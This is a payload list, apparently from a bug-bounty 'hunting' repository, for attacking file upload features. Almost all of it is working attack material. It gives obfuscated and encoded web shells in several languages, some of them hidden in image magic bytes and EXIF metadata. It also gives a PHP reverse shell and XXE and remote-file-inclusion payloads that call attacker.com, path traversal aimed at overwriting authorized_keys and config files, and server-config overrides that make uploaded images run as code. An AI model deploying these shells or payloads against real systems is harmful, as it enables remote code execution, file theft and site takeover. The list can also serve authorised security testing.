mirror of
https://github.com/0x5t4l1n/hunting.git
synced 2026-05-26 11:35:51 +00:00
copilot-swe-agent[bot]
0a48c19312
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
649 lines
13 KiB
Plaintext
649 lines
13 KiB
Plaintext
# File Upload Vulnerability Payloads (2020-2025 Bug Bounty Tested)
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# ============================
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# FILE EXTENSION BYPASSES
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# ============================
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# Double Extensions
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shell.php.jpg
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shell.php.png
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shell.php.gif
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shell.php.pdf
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shell.php.txt
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shell.jpg.php
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shell.png.php
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exploit.asp.jpg
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exploit.aspx.png
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backdoor.jsp.gif
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# Case Variations
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shell.PHP
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shell.PhP
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shell.pHp
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shell.Php
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shell.PHp
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shell.ASP
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shell.ASPX
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shell.AsP
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shell.JSP
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# Null Byte Injection (older systems)
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shell.php%00.jpg
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shell.php%00.png
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shell.php\x00.jpg
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shell.asp%00.gif
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exploit.jsp%00.pdf
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# Special Characters
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shell.php.....
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shell.php%20
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shell.php%0a
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shell.php%00
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shell.php%0d%0a
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shell.php::$DATA
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shell.php::$INDEX_ALLOCATION
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# Alternate Extensions (PHP)
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shell.php3
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shell.php4
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shell.php5
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shell.php7
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shell.phtml
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shell.phar
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shell.phpt
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shell.pgif
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shell.pht
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shell.inc
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shell.hphp
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shell.ctp
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# Alternate Extensions (ASP/ASPX)
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shell.asp
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shell.aspx
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shell.asa
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shell.asax
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shell.ascx
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shell.ashx
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shell.asmx
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shell.cer
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shell.config
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shell.soap
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shell.rem
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# Alternate Extensions (JSP)
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shell.jsp
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shell.jspx
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shell.jsw
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shell.jsv
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shell.jspf
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# Other Language Extensions
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shell.pl
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shell.pm
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shell.cgi
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shell.py
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shell.pyc
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shell.rb
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shell.rbw
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shell.sh
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shell.bash
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# Executable Extensions
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malware.exe
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backdoor.bat
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script.cmd
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payload.ps1
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reverse.sh
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# Server Config Files
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.htaccess
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.htpasswd
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web.config
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httpd.conf
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.user.ini
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php.ini
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# ============================
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# CONTENT-TYPE BYPASSES
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# ============================
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# Common Content-Type Headers to Test:
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# Legitimate looking but with malicious content
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Content-Type: image/jpeg
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Content-Type: image/png
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Content-Type: image/gif
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Content-Type: image/bmp
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Content-Type: image/svg+xml
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Content-Type: application/pdf
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Content-Type: application/zip
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Content-Type: text/plain
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Content-Type: text/csv
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Content-Type: application/octet-stream
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Content-Type: video/mp4
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Content-Type: audio/mpeg
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# Empty or null
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Content-Type:
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Content-Type: null
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Content-Type: undefined
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# Malformed
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Content-Type: image/jpeg; charset=binary
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Content-Type: multipart/form-data; boundary=something
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# ============================
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# MAGIC BYTES (File Signatures)
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# ============================
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# PHP Web Shell with JPEG Header
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FF D8 FF E0 (JPEG magic bytes)
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<?php system($_GET['cmd']); ?>
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# PHP Web Shell with PNG Header
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89 50 4E 47 0D 0A 1A 0A (PNG magic bytes)
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<?php system($_GET['cmd']); ?>
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# PHP Web Shell with GIF Header
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GIF89a
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<?php system($_GET['cmd']); ?>
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# PHP Web Shell with PDF Header
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%PDF-1.4
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<?php system($_GET['cmd']); ?>
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# PHP Web Shell with ZIP Header
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PK (ZIP magic bytes)
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<?php system($_GET['cmd']); ?>
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# ============================
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# POLYGLOT FILES (Valid Image + Valid Code)
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# ============================
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# GIF + PHP Polyglot
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GIF89a<?php system($_GET['cmd']); ?>
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# JPEG + PHP Polyglot (with comment)
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# Add PHP code in JPEG comment section
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# Use exiftool: exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
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# PNG + PHP Polyglot
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# Use PNG ancillary chunks to hide PHP code
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# BMP + PHP Polyglot
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# BMP header followed by PHP code in pixel data
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# ============================
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# WEB SHELL PAYLOADS
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# ============================
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# === PHP Web Shells ===
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# Simple PHP Shell
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<?php system($_GET['cmd']); ?>
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# PHP Shell with POST
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<?php system($_POST['cmd']); ?>
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# PHP Eval Shell
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<?php eval($_REQUEST['cmd']); ?>
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# PHP Passthru Shell
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<?php passthru($_GET['cmd']); ?>
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# PHP Exec Shell
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<?php echo exec($_GET['cmd']); ?>
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# PHP Shell_exec
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<?php echo shell_exec($_GET['cmd']); ?>
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# PHP Backdoor
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<?php
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if(isset($_REQUEST['cmd'])){
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echo "<pre>";
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$cmd = ($_REQUEST['cmd']);
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system($cmd);
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echo "</pre>";
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die;
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}
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?>
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# PHP File Manager Shell
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<?php
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if(isset($_GET['file'])){
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echo file_get_contents($_GET['file']);
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}
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if(isset($_FILES['upload'])){
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move_uploaded_file($_FILES['upload']['tmp_name'], $_FILES['upload']['name']);
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}
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?>
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# PHP One-liner Shells
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<?=`$_GET[x]`?>
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<?=system($_GET[x]);?>
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<?=shell_exec($_GET[x]);?>
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<?=passthru($_GET[x]);?>
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<?=exec($_GET[x]);?>
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# Obfuscated PHP Shell
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<?php $a=$_GET['a'];$b=$_GET['b'];$a($b);?>
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<?php @eval($_POST['x']);?>
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<?php @assert($_POST['x']);?>
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<?php $f='sys'.'tem';$f($_GET['x']);?>
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# PHP Reverse Shell
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<?php
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$sock=fsockopen("attacker.com",4444);
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exec("/bin/sh -i <&3 >&3 2>&3");
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?>
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# === ASP/ASPX Web Shells ===
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# ASP Shell
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<%
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Set oScript = Server.CreateObject("WSCRIPT.SHELL")
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Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
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Response.Write(oScript.Exec("cmd /c " & Request.QueryString("cmd")).StdOut.ReadAll())
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%>
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# ASPX Shell
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<%@ Page Language="C#" %>
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<%@ Import Namespace="System.Diagnostics" %>
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<script runat="server">
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void Page_Load(object sender, EventArgs e){
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Process p = new Process();
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p.StartInfo.FileName = "cmd.exe";
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p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"];
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p.StartInfo.RedirectStandardOutput = true;
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p.StartInfo.UseShellExecute = false;
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p.Start();
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Response.Write(p.StandardOutput.ReadToEnd());
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}
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</script>
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# ASPX One-liner
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<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
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# === JSP Web Shells ===
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# JSP Shell
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<%@ page import="java.io.*" %>
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<%
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String cmd = request.getParameter("cmd");
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Process p = Runtime.getRuntime().exec(cmd);
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InputStream in = p.getInputStream();
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int i;
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while((i = in.read()) != -1) {
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out.print((char)i);
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}
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%>
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# JSP One-liner
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<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
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# === Python Web Shell ===
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#!/usr/bin/env python
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import os
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import cgi
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form = cgi.FieldStorage()
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cmd = form.getvalue('cmd')
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os.system(cmd)
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# === Perl Web Shell ===
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#!/usr/bin/perl
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use CGI;
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$q = CGI->new;
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print $q->header;
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print `$q->param('cmd')`;
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# ============================
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# XSS VIA FILE UPLOAD
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# ============================
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# HTML File Upload
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<html>
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<body>
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<script>alert(document.cookie)</script>
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</body>
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</html>
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# SVG File Upload with XSS
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<?xml version="1.0" standalone="no"?>
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<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
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<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
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<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
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<script type="text/javascript">
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alert(document.domain);
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</script>
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</svg>
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# SVG with XSS (onload)
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<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
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# PDF with XSS (if rendered in browser)
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%PDF-1.4
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1 0 obj
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<<
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/Type /Catalog
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/Outlines 2 0 R
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/Pages 3 0 R
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/OpenAction << /S /JavaScript /JS (app.alert('XSS');) >>
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>>
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endobj
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# XML with XSS
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<?xml version="1.0"?>
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<!DOCTYPE html [
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<!ENTITY js "alert(document.domain)">
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]>
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<html>
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<body>
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<script>&js;</script>
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</body>
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</html>
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# ============================
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# XXE VIA FILE UPLOAD
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# ============================
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# SVG with XXE
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<?xml version="1.0" standalone="yes"?>
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<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
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<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
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<text font-size="16" x="0" y="16">&xxe;</text>
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</svg>
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# XML with XXE
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<?xml version="1.0"?>
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<!DOCTYPE foo [
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<!ELEMENT foo ANY >
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<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
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<foo>&xxe;</foo>
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# XXE - Parameter Entity
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<?xml version="1.0"?>
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<!DOCTYPE foo [
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<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
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%xxe;
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]>
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<foo>&exfil;</foo>
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# XXE - Blind OOB
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<?xml version="1.0" ?>
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<!DOCTYPE r [
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<!ELEMENT r ANY >
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<!ENTITY % sp SYSTEM "http://attacker.com/xxe.dtd">
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%sp;
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%param1;
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]>
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<r>&exfil;</r>
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# ============================
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# PATH TRAVERSAL IN FILENAME
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# ============================
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# Directory Traversal
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../../../etc/passwd
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..\..\..\..\windows\system32\config\sam
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....//....//....//etc/passwd
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# Overwrite Important Files
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../../../var/www/html/index.php
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../../../.ssh/authorized_keys
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../../config.php
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../../../.htaccess
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../../wp-config.php
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# Filename with Path Traversal
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../../../../tmp/shell.php
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..%2f..%2f..%2fetc%2fpasswd
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..%252f..%252f..%252fetc%252fpasswd
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# ============================
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# HTACCESS FILE UPLOAD
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# ============================
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# .htaccess to Execute PHP
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AddType application/x-httpd-php .jpg
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AddType application/x-httpd-php .png
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AddType application/x-httpd-php .gif
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# .htaccess to Execute All Files as PHP
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AddType application/x-httpd-php .
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SetHandler application/x-httpd-php
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# .htaccess to Bypass Upload Restrictions
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<FilesMatch "\.ph(p|tml)">
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SetHandler application/x-httpd-php
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</FilesMatch>
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# ============================
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# WEB.CONFIG FILE UPLOAD (IIS)
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# ============================
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<?xml version="1.0" encoding="UTF-8"?>
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<configuration>
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<system.webServer>
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<handlers>
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<add name="PHP_via_FastCGI"
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path="*.jpg"
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verb="*"
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modules="FastCgiModule"
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scriptProcessor="C:\PHP\php-cgi.exe"
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resourceType="Unspecified" />
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</handlers>
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</system.webServer>
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</configuration>
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# ============================
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# ARCHIVE-BASED ATTACKS
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# ============================
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# ZIP Slip - Malicious Archive
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# Create zip file with: ../../../../var/www/html/shell.php
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# ZIP with Symlink
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# ln -s /etc/passwd passwd.txt
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# zip --symlinks payload.zip passwd.txt
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# TAR with Path Traversal
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# tar -cf payload.tar ../../../../var/www/html/shell.php
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# Zip Bomb (DoS)
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# Create highly compressed file that expands to huge size
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# ============================
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# IMAGE METADATA INJECTION
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# ============================
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# EXIF Data with XSS (if displayed)
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exiftool -Comment='<script>alert(1)</script>' image.jpg
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# EXIF Data with PHP Code
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exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
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# IPTC Data Injection
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exiftool -IPTC:Caption-Abstract='<?php eval($_POST["x"]); ?>' image.jpg
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# ============================
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# SERVER-SPECIFIC BYPASSES
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# ============================
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# Apache
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shell.php.jpg (with .htaccess: AddType application/x-httpd-php .jpg)
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.htaccess file to execute images as PHP
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# IIS
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shell.asp;.jpg
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shell.asp:.jpg
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web.config to execute images as ASP
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# Nginx
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shell.php%00.jpg (older versions)
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Upload to misconfigured alias/location
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# Tomcat
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shell.jsp%00.jpg
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shell.jspx
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# ============================
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# RACE CONDITION FILE UPLOAD
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# ============================
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# Upload file quickly and access before validation/deletion
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# Technique: Concurrent upload and access requests
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# ============================
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# FILE UPLOAD WITH SIZE BYPASS
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# ============================
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# Small malicious file
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<?=`$_GET[0]`?>
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# Compressed PHP shell
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<?=`{$_GET[0]}`;
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# ============================
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# MIME TYPE CONFUSION
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# ============================
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# Upload with different MIME types
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Content-Type: application/x-php
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Content-Type: application/x-httpd-php
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Content-Type: application/php
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Content-Type: text/php
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Content-Type: text/x-php
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# ============================
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# POLYGLOT FILES FOR MULTIPLE FORMATS
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# ============================
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# JPEG + JAR Polyglot (for Java apps)
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# Valid JPEG and valid JAR simultaneously
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# PDF + HTML Polyglot
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%PDF-1.4
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<html><script>alert(1)</script></html>
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# GIF + JavaScript
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GIF89a/*<?php
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<script>alert(1)</script>
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<?php */;
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# ============================
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# MODERN BYPASS TECHNIQUES (2023-2025)
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# ============================
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# Unicode Normalization
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shell.php%E2%80%AE.jpg (Right-to-Left Override)
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shellgpj.php (RLO character)
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# Homoglyph Attacks
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shell.рhр (Cyrillic р instead of Latin p)
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shell.рhр
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# UTF-8 BOM
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<?php system($_GET['cmd']); ?>
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# Long Filename DoS
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# Create extremely long filename to bypass validation
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# Multiple Content-Disposition
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Content-Disposition: form-data; name="file"; filename="safe.jpg"
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Content-Disposition: form-data; name="file"; filename="shell.php"
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# Null Session (Windows)
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\\127.0.0.1\c$\inetpub\wwwroot\shell.php
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# Case Sensitivity Issues
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ShElL.PhP
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SHELL.php
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Shell.PHP
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# ============================
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# FRAMEWORK-SPECIFIC BYPASSES
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# ============================
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# WordPress
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wp-content/uploads/shell.php
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wp-content/themes/shell.php
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wp-content/plugins/shell.php
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# Drupal
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sites/default/files/shell.php
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# Joomla
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media/shell.php
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images/shell.php
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# Laravel
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storage/app/shell.php
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public/uploads/shell.php
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# Django
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media/uploads/shell.py
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# ============================
|
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# REMOTE FILE INCLUSION VIA UPLOAD
|
||
# ============================
|
||
|
||
# Upload file containing:
|
||
<?php include($_GET['file']); ?>
|
||
<?php require($_GET['file']); ?>
|
||
<?php include_once($_GET['file']); ?>
|
||
|
||
# Then access with:
|
||
?file=http://attacker.com/shell.txt
|
||
?file=php://input (with POST data containing PHP code)
|
||
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
|
||
|
||
# ============================
|
||
# FILE UPLOAD WITH SSRF
|
||
# ============================
|
||
|
||
# Upload file that triggers SSRF
|
||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||
<image xlink:href="http://internal-server/admin"/>
|
||
</svg>
|
||
|
||
# ============================
|
||
# DESERIALIZATION VIA FILE UPLOAD
|
||
# ============================
|
||
|
||
# PHP Phar Deserialization
|
||
# Upload malicious .phar file
|
||
# Trigger via: file_get_contents('phar://uploads/payload.phar/test.txt')
|
||
|
||
# Java Deserialization
|
||
# Upload serialized Java object
|
||
# Trigger if application deserializes uploaded files
|
||
|
||
# ============================
|
||
# EICAR TEST FILE (AV Bypass Testing)
|
||
# ============================
|
||
|
||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||
|
||
# ============================
|
||
# BINARY PAYLOAD ENCODINGS
|
||
# ============================
|
||
|
||
# Base64 Encoded Shell
|
||
<?php eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>
|
||
|
||
# Hex Encoded
|
||
<?php eval(hex2bin("73797374656d28245f4745545b27636d64275d293b")); ?>
|
||
|
||
# ROT13
|
||
<?php eval(str_rot13("flfgrz($_TRG['pzq']);")); ?>
|
||
|
||
# ============================
|
||
# ALTERNATIVE DATA STREAMS (Windows/NTFS)
|
||
# ============================
|
||
|
||
shell.php::$DATA
|
||
shell.asp::$DATA
|
||
payload.txt:hidden.php
|